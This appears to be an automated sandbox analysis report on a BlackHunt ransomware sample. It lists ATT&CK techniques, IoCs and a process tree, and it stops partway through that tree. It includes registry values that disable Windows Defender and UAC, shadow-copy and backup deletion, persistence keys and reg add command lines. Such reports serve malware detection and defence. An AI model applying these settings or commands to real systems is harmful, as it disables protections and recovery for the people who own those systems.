72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c

Data Destruction

T1485

pid	Process
4996	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
1532	bcdedit.exe
4364	bcdedit.exe

Renames multiple (495) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4040	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\M:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened (read-only)	\??\A:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened (read-only)	\??\H:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened (read-only)	\??\N:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened (read-only)	\??\T:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened (read-only)	\??\O:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened (read-only)	\??\S:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened (read-only)	\??\G:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened (read-only)	\??\V:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened (read-only)	\??\K:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened (read-only)	\??\L:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened (read-only)	\??\X:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened (read-only)	\??\R:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened (read-only)	\??\Y:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened (read-only)	\??\P:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened (read-only)	\??\I:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened (read-only)	\??\J:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened (read-only)	\??\Z:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened (read-only)	\??\U:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened (read-only)	\??\E:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened (read-only)	\??\B:	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
36	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\dotnet\shared\#BlackHunt_ReadMe.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ms.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ta.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\bridge\#BlackHunt_ReadMe.hta	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\sunec.jar	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\PYCC.pf	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_MoveDrop32x32.gif	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\eu.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\et.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\el.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File created	C:\Program Files\dotnet\host\#BlackHunt_Private.key	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File created	C:\Program Files\dotnet\host\fxr\#BlackHunt_Private.key	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\mesa3d.md	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\xalan.md	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File created	C:\Program Files\#BlackHunt_ReadMe.hta	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\7-Zip\License.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_Private.key	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\meta-index	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\#BlackHunt_ReadMe.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\#BlackHunt_ReadMe.hta	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\pkcs11wrapper.md	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\invalid32x32.gif	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\sound.properties	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ext.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tk.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\server\#BlackHunt_ReadMe.hta	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fa.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fr.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File created	C:\Program Files\Java\#BlackHunt_ReadMe.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\#BlackHunt_ReadMe.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\sunjce_provider.jar	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File created	C:\Program Files\Reference Assemblies\#BlackHunt_Private.key	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ast.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ro.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\localedata.jar	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\#BlackHunt_Private.key	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\plugin2\#BlackHunt_ReadMe.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\javaws.jar	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\java.policy	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\GRAY.pf	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_ReadMe.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\blacklist	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\gu.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_Private.key	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\sunpkcs11.jar	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\#BlackHunt_ReadMe.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\sa-jdi.jar	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\mesa3d.md	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\zlib.md	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\#BlackHunt_ReadMe.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\public_suffix_list.dat	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\README.html	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\jaccess.jar	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\#BlackHunt_ReadMe.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\trusted.libraries	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mn.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\#BlackHunt_Private.key	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\thaidict.md	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lij.txt	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\javafx-src.zip	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\gstreamer.md	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\jfxrt.jar	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaBrightDemiItalic.ttf	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\profile.jfc	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
3140	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
1832	vssadmin.exe
2244	vssadmin.exe
408	vssadmin.exe
4592	vssadmin.exe
3020	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	Conhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	Conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	Conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	Conhost.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
Token: SeRestorePrivilege	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
Token: SeBackupPrivilege	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
Token: SeTakeOwnershipPrivilege	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
Token: SeAuditPrivilege	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
Token: SeSecurityPrivilege	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
Token: SeIncBasePriorityPrivilege	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
Token: SeBackupPrivilege	3152	vssvc.exe
Token: SeRestorePrivilege	3152	vssvc.exe
Token: SeAuditPrivilege	3152	vssvc.exe
Token: SeBackupPrivilege	3612	wbengine.exe
Token: SeRestorePrivilege	3612	wbengine.exe
Token: SeSecurityPrivilege	3612	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2132 wrote to memory of 1512	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	95
PID 2132 wrote to memory of 1512	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	95
PID 2132 wrote to memory of 2812	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	97
PID 2132 wrote to memory of 2812	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	97
PID 2132 wrote to memory of 2064	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	99
PID 2132 wrote to memory of 2064	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	99
PID 2132 wrote to memory of 648	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	100
PID 2132 wrote to memory of 648	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	100
PID 2132 wrote to memory of 4432	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	102
PID 2132 wrote to memory of 4432	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	102
PID 2132 wrote to memory of 824	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	105
PID 2132 wrote to memory of 824	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	105
PID 2132 wrote to memory of 1960	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	106
PID 2132 wrote to memory of 1960	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	106
PID 2132 wrote to memory of 4944	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	109
PID 2132 wrote to memory of 4944	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	109
PID 2132 wrote to memory of 3052	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	111
PID 2132 wrote to memory of 3052	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	111
PID 2132 wrote to memory of 4268	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	113
PID 2132 wrote to memory of 4268	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	113
PID 2132 wrote to memory of 1064	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	115
PID 2132 wrote to memory of 1064	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	115
PID 2132 wrote to memory of 3652	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	116
PID 2132 wrote to memory of 3652	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	116
PID 2812 wrote to memory of 4264	2812	cmd.exe	203
PID 2812 wrote to memory of 4264	2812	cmd.exe	203
PID 1512 wrote to memory of 4028	1512	cmd.exe	119
PID 1512 wrote to memory of 4028	1512	cmd.exe	119
PID 2132 wrote to memory of 884	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	121
PID 2132 wrote to memory of 884	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	121
PID 2132 wrote to memory of 3180	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	127
PID 2132 wrote to memory of 3180	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	127
PID 2132 wrote to memory of 2200	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	126
PID 2132 wrote to memory of 2200	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	126
PID 2132 wrote to memory of 3640	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	124
PID 2132 wrote to memory of 3640	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	124
PID 2132 wrote to memory of 3148	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	130
PID 2132 wrote to memory of 3148	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	130
PID 2132 wrote to memory of 1672	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	131
PID 2132 wrote to memory of 1672	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	131
PID 2132 wrote to memory of 4880	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	137
PID 2132 wrote to memory of 4880	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	137
PID 824 wrote to memory of 4084	824	cmd.exe	176
PID 824 wrote to memory of 4084	824	cmd.exe	176
PID 1960 wrote to memory of 3388	1960	cmd.exe	138
PID 1960 wrote to memory of 3388	1960	cmd.exe	138
PID 4432 wrote to memory of 5056	4432	cmd.exe	135
PID 4432 wrote to memory of 5056	4432	cmd.exe	135
PID 2064 wrote to memory of 4428	2064	cmd.exe	133
PID 2064 wrote to memory of 4428	2064	cmd.exe	133
PID 648 wrote to memory of 2508	648	cmd.exe	134
PID 648 wrote to memory of 2508	648	cmd.exe	134
PID 2132 wrote to memory of 3420	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	148
PID 2132 wrote to memory of 3420	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	148
PID 2132 wrote to memory of 3116	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	147
PID 2132 wrote to memory of 3116	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	147
PID 2132 wrote to memory of 3636	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	140
PID 2132 wrote to memory of 3636	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	140
PID 2132 wrote to memory of 4696	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	144
PID 2132 wrote to memory of 4696	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	144
PID 4268 wrote to memory of 4424	4268	cmd.exe	145
PID 4268 wrote to memory of 4424	4268	cmd.exe	145
PID 2132 wrote to memory of 3964	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	149
PID 2132 wrote to memory of 3964	2132	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe	149

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
"C:\Users\Admin\AppData\Local\Temp\72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1512
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:4264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
